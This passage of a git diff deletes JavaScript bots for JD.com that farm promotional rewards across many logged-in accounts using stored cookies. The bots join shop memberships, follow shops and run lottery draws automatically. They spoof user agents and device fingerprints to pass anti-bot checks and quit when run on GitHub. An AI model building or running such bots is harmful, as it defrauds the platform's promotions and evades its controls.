getActivity(item.configCode,item.configName,-1) - if($.taskInfo) break - } - } - if($.taskInfo.rewardStatus == 1) await getReward(`{"configCode":"${item.configCode}","groupType":5,"itemId":1,"eid":"${$.eid}","fp":"${$.fp}"}`,1) - } - } - await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) - } - - } catch (e) { - console.log(e) - } -} -function getActivity(code,name,flag) { - return new Promise(async resolve => { - $.get({ - url: `https://jdjoy.jd.com/module/task/v2/getActivity?configCode=${code}&eid=${$.eid}&fp=${$.fp}`, - headers: { - 'Accept': 'application/json, text/plain, */*', - 'Content-Type':'application/json;charset=utf-8', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data) - if(typeof res == 'object'){ - if(res.success == true && res.data.pass == true){ - if(flag == 0){ - $.task = res.data.memberTask || res.data.dailyTask || [] - $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || [] - }else if(flag == -1){ - $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || {} - }else if(flag == 1 || flag == 2){ - for(let i of res.data.dailyTask.taskList){ - if(i.groupType == flag){ - $.oneTasks = i - break - } - } - }else{ - console.log('活动-未知类型') - } - }else if(res.data.pass == false){ - console.log(`活动[${name}]活动太火爆了,请稍后再试~`) - $.hotFlag = true - }else{ - console.log(`活动[${name}]获取失败\n${data}`) - if(flag > 0) await getHtml(); - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function doTask(body) { - return new Promise(async resolve => { - $.post({ - url: `https://jdjoy.jd.com/module/task/v2/doTask`, - body, - headers: { - 'Accept': 'application/json, text/plain, */*', - "Accept-Encoding": "gzip, deflate, br", - 'Content-Type':'application/json;charset=UTF-8', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - $.doTask = true - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - await $.wait(parseInt(Math.random() * 1000 + 500, 10)) - // console.log(data) - res = $.toObj(data) - if(typeof res == 'object'){ - if(res.success == true){ - console.log(`领奖成功:${$.oneTask.rewardQuantity}京豆`) - $.bean += Number($.oneTask.rewardQuantity) - }else if(res.errorMessage){ - if(res.errorMessage.indexOf('活动已结束') > -1) $.outActivity = true - console.log(`${res.errorMessage}`) - }else{ - console.log(data) - } - } - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getReward(body, flag = 0) { - return new Promise(async resolve => { - $.post({ - url: `https://jdjoy.jd.com/module/task/v2/getReward`, - body, - headers: { - 'Accept': 'application/json, text/plain, */*', - "Accept-Encoding": "gzip, deflate, br", - 'Content-Type':'application/json;charset=UTF-8', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data) - if(typeof res == 'object'){ - if(res.success == true){ - console.log(`领奖成功:${flag == 1 && $.taskInfo.rewardFinish || $.oneTask.rewardQuantity}京豆`) - $.bean += Number($.oneTask.rewardQuantity) - }else{ - console.log(`${res.errorMessage}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function statistic(body) { - return new Promise(async resolve => { - $.post({ - url: `https://jdjoy.jd.com/module/task/data/statistic`, - body, - headers: { - 'Accept': 'application/json, text/plain, */*', - "Accept-Encoding": "gzip, deflate, br", - 'Content-Type':'application/json;charset=UTF-8', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - data = JSON.parse(data); - if(data.success == true){ - $.log(data.message) - if(data.result && data.result.giftInfo){ - for(let i of data.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(data.success == false){ - $.log(data.message) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} - -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} -function getHtml() { - return new Promise(resolve => { - $.get({ - url: `https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html`, - headers: { - "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function getEid(arr) { - return new Promise(resolve => { - const options = { - url: `https://gia.jd.com/fcf.html?a=${arr.a}`, - body: `d=${arr.d}`, - headers: { - "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", - "User-Agent": $.UA - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) - throw new Error(err); - } else { - if (data.indexOf("*_*") > 0) { - data = data.split("*_*", 2); - data = JSON.parse(data[1]); - $.eid = data.eid - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - - - -async function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` - let arr = await Faker.getBody($.UA,'https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html') - $.fp = arr.fp - await getEid(arr) -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/backUp/gua_opencard21.js b/backUp/gua_opencard21.js deleted file mode 100644 index 0540638..0000000 --- a/backUp/gua_opencard21.js +++ /dev/null @@ -1,713 +0,0 @@ -/* -9.1-9.6 联合开卡 [gua_opencard21.js] -新增开卡脚本 -一次性脚本 - -邀请一人有机会获得20豆(有可能没有豆 -开14张卡 每张有机会获得5京豆(有可能是空气💨 -开完卡获得抽奖1次 -关注获得抽奖1次 有机会获得10京豆 (有可能是空气💨 -加购获得抽奖1次 有机会获得5京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku21]为"true" -抽奖有机会获得京豆(有可能是空气💨 - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard21="true" -———————————————— -入口 -复制👇: -27.0 9.1-9.6 联合开卡 ¥C5EiV3cGhjjuAG%/ -或者打开京东APP 扫描二维码👇: -https://raw.githubusercontent.com/smiek2221/scripts/master/images/gua_opencard21.png -============Quantumultx=============== -[task_local] -#9.1-9.6 联合开卡 -28 9,22 1-6 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard21.js, tag=9.1-9.6 联合开卡, enabled=true - -================Loon============== -[Script] -cron "28 9,22 1-6 9 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard21.js,tag=9.1-9.6 联合开卡 - -===============Surge================= -9.1-9.6 联合开卡 = type=cron,cronexp="28 9,22 1-6 9 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard21.js - -============小火箭========= -9.1-9.6 联合开卡 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard21.js, cronexpr="28 9,22 1-6 9 *", timeout=3600, enable=true -*/ -const $ = new Env('9.1-9.6 联合开卡'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let guaopencard_addSku = "false" -guaopencard_addSku = $.isNode() ? (process.env.guaopencard_addSku21 ? process.env.guaopencard_addSku21 : `${guaopencard_addSku}`) : ($.getdata('guaopencard_addSku21') ? $.getdata('guaopencard_addSku21') : `${guaopencard_addSku}`); -let guaopencard = "false" -guaopencard = $.isNode() ? (process.env.guaopencard21 ? process.env.guaopencard21 : guaopencard) : ($.getdata('guaopencard21') ? $.getdata('guaopencard21') : guaopencard); -message = "" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if ($.isNode()) { - if(guaopencard+"" != "true"){ - console.log('如需执行脚本请设置环境变量[guaopencard21]为"true"') - } - if(guaopencard+"" != "true"){ - return - } - } - $.appkey = '51B59BB805903DA4CE513D29EC448375' - $.userId = '10299171' - $.actId = 'a8fbe2b74b864b1_901' - $.inviteNick = '4A55C1C0869C75061D11CDDC9F19631A331A03F763BD4352E7FC99787B30FBD349336DE54E26AA8F2834B248E6398CB7A755DF4FDAE585EC3E1ABE26F3DD3CFFC956D12974FF00A045D8E31A84FE84C18A8357DE96A1F617B8AC4D64BC24B689' - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await run(); - if(i == 0 && !$.MixNick) return - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - -async function run(){ - try{ - $.isvObfuscatorToken = $.MixNick = '' - $.howManyOpenCard = -1 - await getIsvObfuscatorToken(); - if($.isvObfuscatorToken == ''){ - console.log('获取[token]失败!') - return - } - await setMixNick(); - if($.MixNick == ''){ - console.log('获取[MixNick]失败!') - return - } - await loadUniteOpenCard({"inviteNick": $.inviteNick}); - if($.howManyOpenCard == -1) return - console.log(`开卡(${$.isOpenCard}/${$.howManyOpenCard})`) - await shopList(); - if ($.OpenCardList && $.howManyOpenCard - $.isOpenCard > 0) { - for (let card of $.OpenCardList) { - if(card.open == false){ - console.log(card.shopTitle) - let msg = await uniteOpenCardOne(card.userId); - if(msg === ''){ - await uniteOpenCardStats(); - await join(card.userId) - await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) - await loadUniteOpenCard({"shopId": card.userId}); - } - await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) - } - } - } - // if($.isFocusAward == 0){ - // console.log('未关注') - await followShop(); - // }else console.log('已关注') - // if($.isCartAward == 0){ - // console.log('未加购') - if(guaopencard_addSku+"" != "true"){ - console.log('如需加购请设置环境变量[guaopencard_addSku21]为"true"'); - }else await addCart(); - - // }else console.log('已加购') - await loadUniteOpenCard(); - console.log(`抽奖次数${$.usedChance}`) - for(j=1;$.usedChance-- && true;j++){ - console.log(`第${j}次`) - await draw() - await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) - if(j >= 20) console.log('抽奖太多次了,请重新执行') - if(j >= 20) break - if($.usedChance <= 0) break - } - await myAward(); - await missionInviteList(); - if ($.index === 1) { - if($.MixNick){ - $.inviteNick = $.MixNick; - console.log(`后面的号都会助力:${$.inviteNick}`) - }else{ - console.log('账号1获取不到[MixNick]退出执行,请重新执行') - return - } - } - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - }catch(e){ - console.log(e) - } -} - -function myAward() { - return new Promise(resolve => { - const options = taskPostUrl("/openCard/myAward", {"actId": $.actId}); - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object' && res.errorCode == 200){ - res = res.data - if(res.status == 200){ - if(res.msg || res.data.msg) console.log(`${res.msg || "我的奖品:"+res.data.msg || ''}`) - console.log(`我的奖品:`) - let num = 0 - let sum = 0 - for(let i in res.data.list){ - let item = res.data.list[i] - if(item.awardTitle == '20个京豆') { - // console.log(item.shopId) - num++; - }else{ - if(item.awardTitle.indexOf('个京豆') == -1){ - console.log(`${item.remark || ''}`) - }else{ - // console.log(`${item.awardTitle || ''}`) - sum += parseInt(item.awardTitle.replace('个京豆',''),10) - } - } - } - if(num > 0) console.log(`邀请好友(${num}):${num*20}京豆`) - console.log(`共获得${sum+num*20}京豆`) - }else if(res.msg){ - console.log(`我的奖品 ${res.msg || ''}`) - }else{ - console.log(`我的奖品 ${data}`) - } - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`我的奖品 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function missionInviteList() { - return new Promise(resolve => { - const options = taskPostUrl("/openCard/missionInviteList", {"actId": $.actId}); - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object' && res.errorCode == 200){ - res = res.data - if(res.status == 200){ - if(res.msg || res.data.msg) console.log(`${res.msg || "我的邀请:"+res.data.msg || ''}`) - $.log(`=========== 你邀请了:${res.data.total}个`) - }else if(res.msg){ - console.log(`我的邀请 ${res.msg || ''}`) - }else{ - console.log(`我的邀请 ${data}`) - } - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`我的邀请 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function draw() { - return new Promise(resolve => { - const options = taskPostUrl("/openCard/draw", {"actId": $.actId}); - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object' && res.errorCode == 200){ - res = res.data - if(res.status == 200){ - let msg = res.msg|| res.data.msg.length > 3 && res.data.msg || res.data.jdAwardLog && res.data.jdAwardLog.remark || '空气💨' - console.log(`抽奖: ${msg}`) - if(msg.indexOf('实物') > -1) console.log($.toStr(res)) - }else if(res.msg){ - console.log(`抽奖 ${res.msg || '空气💨'}`) - }else{ - console.log(`抽奖 ${data}`) - } - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`抽奖 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function addCart() { - return new Promise(resolve => { - const options = taskPostUrl("/openCard/addCart", {"actId": $.actId, "missionType": "addCart"}); - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object' && res.errorCode == 200){ - res = res.data - if(res.status == 200){ - if(res.msg || res.data.msg) console.log(`加购:${res.msg || res.data.msg || '空气💨'}`) - - }else if(res.msg){ - console.log(`加购 ${res.msg || '空气💨'}`) - }else{ - console.log(`加购 ${data}`) - } - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`加购 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function followShop() { - return new Promise(resolve => { - const options = taskPostUrl("/openCard/followShop", {"actId": $.actId, "missionType": "collectShop"}); - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object' && res.errorCode == 200){ - res = res.data - if(res.status == 200){ - if(res.msg || res.data.msg) console.log(`关注:${res.msg || res.data.msg || '空气💨'}`) - - }else if(res.msg){ - console.log(`关注 ${res.msg || '空气💨'}`) - }else{ - console.log(`关注 ${data}`) - } - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`关注 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function uniteOpenCardStats() { - return new Promise(resolve => { - const options = taskPostUrl("/openCard/uniteOpenCardStats", {"actId": $.actId, "pushWay": 1, "missionType": "pv"}); - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object' && res.errorCode == 200){ - res = res.data - if(res.status == 200){ - if(res.msg || res.data.msg) console.log(`${res.msg || res.data.msg || ''}`) - - }else if(res.msg){ - console.log(`uniteOpenCardStats ${res.msg || ''}`) - }else{ - console.log(`uniteOpenCardStats ${data}`) - } - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`uniteOpenCardStats ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function uniteOpenCardOne(shopId) { - return new Promise(resolve => { - const options = taskPostUrl("/openCard/uniteOpenCardOne", {"actId": $.actId, "shopId": shopId}); - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object' && res.errorCode == 200){ - res = res.data - if(res.status == 200){ - if(res.msg || res.data.msg) console.log(`${res.msg || res.data.msg || ''}`) - resolve(res.msg || 